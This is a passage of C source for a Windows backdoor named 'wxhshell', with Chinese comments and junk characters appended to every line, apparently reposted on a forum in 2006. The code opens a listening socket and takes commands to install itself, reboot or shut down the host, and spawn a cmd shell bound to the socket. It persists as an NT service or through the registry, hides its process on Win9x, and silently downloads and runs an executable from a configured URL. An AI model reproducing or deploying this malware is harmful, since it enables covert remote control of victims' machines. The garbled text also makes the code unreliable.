  // 帮助 N=K|Nw  
  case '?': { v*%#Fp,g8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -k{n"9a9?  
    break; .s 31D%N  
  } aG7QLCL  
  // 安装 %iWup:  
  case 'i': { -UaUFJa8K&  
    if(Install()) q/xMM `{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RQI?\?o  
    else !|`G<WD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]trVlmZXH}  
    break; y@[}FgVOh  
    } kLVf}J~?  
  // 卸载 _Zya GDv  
  case 'r': { !3>(fj+QS  
    if(Uninstall()) <@FOqi{o{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Vyv)#32o3  
    else orn9;|8q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oxE'u<  
    break; ;crQ7}k  
    } $x5P5^Y  
  // 显示 wxhshell 所在路径 n(.y_NEgV!  
  case 'p': { ]gYnw;W$  
    char svExeFile[MAX_PATH]; 2Yt#%bj7^  
    strcpy(svExeFile,"\n\r"); 5EDN 9?a  
      strcat(svExeFile,ExeFile); W B)<B  
        send(wsh,svExeFile,strlen(svExeFile),0); WO W4c&  
    break; 3jPua)=p  
    } ~<Z;)e  
  // 重启 )xiiTkJd5  
  case 'b': { Uw^`_\si  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zrp`91&I  
    if(Boot(REBOOT)) 6_/691  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a'w~7y!}  
    else { R6HMi#eF  
    closesocket(wsh); <}-[9fW  
    ExitThread(0); Pg" uisT#>  
    } ^"\ jIP  
    break; vz:P 2TkM  
    } Ed9ynJ~)X  
  // 关机 N2uxiXpQZ=  
  case 'd': { }l&Uh &B`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vh^fbv`?  
    if(Boot(SHUTDOWN)) J& }/Xw)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pl<r*d)h  
    else {  6\ /x  
    closesocket(wsh); ~H/|J^ J  
    ExitThread(0); yiGq?WA7  
    } naCPSsei  
    break; 2b xkZS]  
    } 24"Trg\WK[  
  // 获取shell O[f*!  
  case 's': { Ed,`1+  
    CmdShell(wsh); zu&5[XL  
    closesocket(wsh); ZzLmsTtzIu  
    ExitThread(0); $8o(_8Q)  
    break; \|nF55W [  
  } ]kq{9b';  
  // 退出 a'f"Zdh%w  
  case 'x': { . $uvQpyh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o^;$-O!/  
    CloseIt(wsh); ;T~]|#T\6  
    break; }$3eRu +  
    } K^`3Bg  
  // 离开 j?%^N\9  
  case 'q': { xRYL{+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t9S zZ2E  
    closesocket(wsh); C{!L +]/  
    WSACleanup(); /%|JP{   
    exit(1); V %'`nJ!  
    break; XVAy uuTg\  
        } 4>nY't;0  
  } E%OY7zf`%  
  } W-q2|NK  
G$pTTT6#  
  // 提示信息 $,q~q^0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Htn=h~U`z  
} ?>5[~rMn  
  } GqumH/;  
i`/_^Fndyu  
  return; <uUQ-]QOIh  
} yjUZ 40Dq  
Ov"]&e(I[  
// shell模块句柄 `rsPIOu  
int CmdShell(SOCKET sock) Mg;%];2Nt  
{ $Z6g/bD`E  
STARTUPINFO si; mZ 39 s  
ZeroMemory(&si,sizeof(si)); %eWzr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ia 1Sf3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lY/{X]T.(  
PROCESS_INFORMATION ProcessInfo; 0xrr9X<  
char cmdline[]="cmd"; QQUeY2}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \O5`R-  
  return 0; )&]gX  
} ,/AwR?m  
gRv5l3k  
// 自身启动模式 SLp &_S@4  
int StartFromService(void) \Zz"%i  
{ {'VP_ZS1v  
typedef struct t!Q uM_i3  
{ ~Q"3#4l  
  DWORD ExitStatus; ;q]Jm  
  DWORD PebBaseAddress; C,7d  
  DWORD AffinityMask; Z"PPXv-<jY  
  DWORD BasePriority; 0X@!i3eu  
  ULONG UniqueProcessId; b/'{6zn  
  ULONG InheritedFromUniqueProcessId; 3~Od2nk(x  
}   PROCESS_BASIC_INFORMATION; q`z/ S>  
V(_OyxeC{2  
PROCNTQSIP NtQueryInformationProcess; `s5<PCq  
WV&T   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H,`F%G#!`q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lxb+0fiN  
e5G)83[=  
  HANDLE             hProcess; yG\^PD  
  PROCESS_BASIC_INFORMATION pbi; )9F-h8 &"  
6yk=4l\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 51j5AbFQ"  
  if(NULL == hInst ) return 0; )QYg[<e6  
4k/B=%l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [xzgk [>5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \J[m4tw^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r/zuo6"5  
0JzH dz  
  if (!NtQueryInformationProcess) return 0; c} )U:?6  
3/c3e{,!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 85CH% I#  
  if(!hProcess) return 0; ap=m5h27  
~_opU(;f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aX`"V/  
+v.uP [H  
  CloseHandle(hProcess); FsQeyh>  
{y)O ?9q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MCOiB <L6  
if(hProcess==NULL) return 0; Z`x|\jI  
Cbu/7z   
HMODULE hMod; !>QS746S@  
char procName[255]; fB^h2  
unsigned long cbNeeded; xIu #  
-!MrG68  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FjRt'  
/(IV+  
  CloseHandle(hProcess); 8G$ %DZ $  
 m(CW3:|  
if(strstr(procName,"services")) return 1; // 以服务启动 e??tp]PLn  
~C[p}MED  
  return 0; // 注册表启动  gGF]Dq  
} p3>(ZWPNV  
n%'M?o]DF  
// 主模块 TNe,'S,%  
int StartWxhshell(LPSTR lpCmdLine) ZrY #B8  
{ p}q27<O*/  
  SOCKET wsl; $ N`V%<W  
BOOL val=TRUE; 9U[Gh97Sf  
  int port=0; ldp x,  
  struct sockaddr_in door; ql"&E{u?  
e_'/4 n  
  if(wscfg.ws_autoins) Install(); ]0v;;PfVl6  
^b|Z<oF  
port=atoi(lpCmdLine); H$'|hUwds%  
U\aP  
if(port<=0) port=wscfg.ws_port; <Sds5 d  
+B(x:hzY9  
  WSADATA data; ,fWQSc\}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;W%nBdE6|  
(NfP2E|B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tUX4#{)q(j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F6>K FU8  
  door.sin_family = AF_INET; :5)Dn87  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vHR-mQUs  
  door.sin_port = htons(port); VB>KT(n-b  
l e+6;'Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dRw O t  
closesocket(wsl); @z $,KUH  
return 1; GX2aV6}  
} 48%-lkol)  
WgHl. :R  
  if(listen(wsl,2) == INVALID_SOCKET) { m$N` Xj  
closesocket(wsl); m(0sG(A~  
return 1; 4I7B #{  
} \s_lB~"P!3  
  Wxhshell(wsl); [5[}2 B_t  
  WSACleanup(); F`!B!uY  
J|*Z*m  
return 0; -s~6FrKy  
(Hk4~v6pqC  
} % mP%W<  
'{]1!yMh  
// 以NT服务方式启动 E/bIq}R6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K:!){a[  
{ U -RR>j  
DWORD   status = 0; 8yW8F26  
  DWORD   specificError = 0xfffffff; wyzx9`5~d  
2n]UNC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }YV,uJH[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E :gS*tsY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w+A:]SU  
  serviceStatus.dwWin32ExitCode     = 0; Skb,cKU  
  serviceStatus.dwServiceSpecificExitCode = 0; 5L ]TV\\  
  serviceStatus.dwCheckPoint       = 0; 8CXZ7 p  
  serviceStatus.dwWaitHint       = 0; B$A`thQp  
FHztF$Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "i jpqI  
  if (hServiceStatusHandle==0) return; EY~b,MIL4  
4%!#=JCl  
status = GetLastError(); (<M^C>pldf  
  if (status!=NO_ERROR) ?yAp&Ad  
{ +65OR'd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RYhaQ &1i  
    serviceStatus.dwCheckPoint       = 0; $ ~>3bik@  
    serviceStatus.dwWaitHint       = 0; a[e&O&Z  
    serviceStatus.dwWin32ExitCode     = status; [tN^)c`s/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0*e)_l!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oJ\)-qSf  
    return; (CUrFZT$  
  } 1Yr&E_5/  
N5W;Zx]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !-G'8a|7  
  serviceStatus.dwCheckPoint       = 0; ( mV*7Z  
  serviceStatus.dwWaitHint       = 0; 4Vv~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u_kcuN\Sq  
} ceiUpWMu,  
kXj rc  
// 处理NT服务事件,比如:启动、停止 }s*H| z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VSm[80iR0  
{ 01N]|F:  
switch(fdwControl) a#i85su  
{ ^pI&f{q  
case SERVICE_CONTROL_STOP:  Iw07P2  
  serviceStatus.dwWin32ExitCode = 0; @B.;V=8wJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tbf@qid e  
  serviceStatus.dwCheckPoint   = 0; 8(AI|"A"-  
  serviceStatus.dwWaitHint     = 0; ^oZz,q  
  { }Iyr u3M][  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j@w+>h  
  } 3HtLD5%Q  
  return; :S['hBMN  
case SERVICE_CONTROL_PAUSE: ioIOyj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Drn{ucIs  
  break; Kmk}Yz  
case SERVICE_CONTROL_CONTINUE: kzky{0yKk=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fe:M'.  
  break; Cx N]fo  
case SERVICE_CONTROL_INTERROGATE: G,jv Mb`+  
  break; #9R[%R7Nz  
}; !@6P>HzY$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XsH(8-n0  
} JpI(Vcd  
* ':LBc=%  
// 标准应用程序主函数 *.'9eC0s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F'v3caE  
{ 3Jt7IM!9[  
t>f61<27eB  
// 获取操作系统版本 FWi c/7  
OsIsNt=GetOsVer(); g&79?h4UXQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); th!$R  
bHJKX>@{  
  // 从命令行安装 >rbHpLm1`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8Ce|Q8<8]  
y15 MWZ  
  // 下载执行文件 [>P9_zID  
if(wscfg.ws_downexe) { KC"#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %1Ex{H hb  
  WinExec(wscfg.ws_filenam,SW_HIDE); L&gC  
} NZu\ Ae  
s!lLdR[g  
if(!OsIsNt) { %NyV 2W=~X  
// 如果时win9x,隐藏进程并且设置为注册表启动 3CKd[=-Z  
HideProc(); @Feusprs  
StartWxhshell(lpCmdLine); 9EPE.+ns  
} v jTs[eq>  
else YsX&]4vzm  
  if(StartFromService()) 2yB@)?V/  
  // 以服务方式启动 5hhiP2q  
  StartServiceCtrlDispatcher(DispatchTable); *qX!  
else p"xti+2,  
  // 普通方式启动 o {W4@:Ib  
  StartWxhshell(lpCmdLine); t)#d R._q  
9/8#e+L  
return 0; +*I'!)T^B  
}
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只看该作者 1 发表于: 2006-10-10
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